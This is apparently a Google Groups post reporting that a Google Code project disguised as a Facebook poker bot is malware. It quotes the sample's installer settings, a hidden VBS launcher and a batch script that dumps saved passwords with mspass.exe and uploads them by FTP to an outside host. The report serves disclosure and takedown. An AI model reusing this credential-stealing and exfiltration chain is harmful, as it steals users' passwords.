Hey,
The page "http://code.google.com/p/zynga-facebook-poker-bot-new/";
This is a malware and needs to be removed. It's actually not very easy
to report this to you I'm not sure why that is.
-Ian
Bot.exe Executes
----------------------------
Path=%TEMP%
SavePath
Setup=hide.vbs
Presetup=mspass.exe /stext %TEMP%\passes.txt
Silent=1
Overwrite=1
-------------------------------
Creates the file hide.vbs
----------------------
dim obj, obj1, obj2, objArgument
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objArgument = Wscript.Arguments
obj = WshShell.Run("%TEMP%\ftp.bat", 0)
set WshShell = Nothing
---------------------------------
Executes ftp.bat
@echo off
set tempftp=%TEMP%\upload.ftp
echo OPEN ftp.tripod.com > %tempftp%
echo USER **REMOVED** **SAFETY** >> %tempftp%
ren %temp%\passes.txt "passes_%time:~0,2%%time:~3,2%.txt"
echo put %TEMP%\"passes_%time:~0,2%%time:~3,2%.txt" >> %tempftp%
echo bye >> %tempftp%
echo quit >> %tempftp%
ftp.exe -n -i -s:%tempftp%
del %tempftp%
-----------------------------
--
You received this message because you are subscribed to the Google Groups
"Project Hosting on Google Code" group.
To post to this group, send email to [email protected].
To unsubscribe from this group, send email to
[email protected].
For more options, visit this group at
http://groups.google.com/group/google-code-hosting?hl=en.
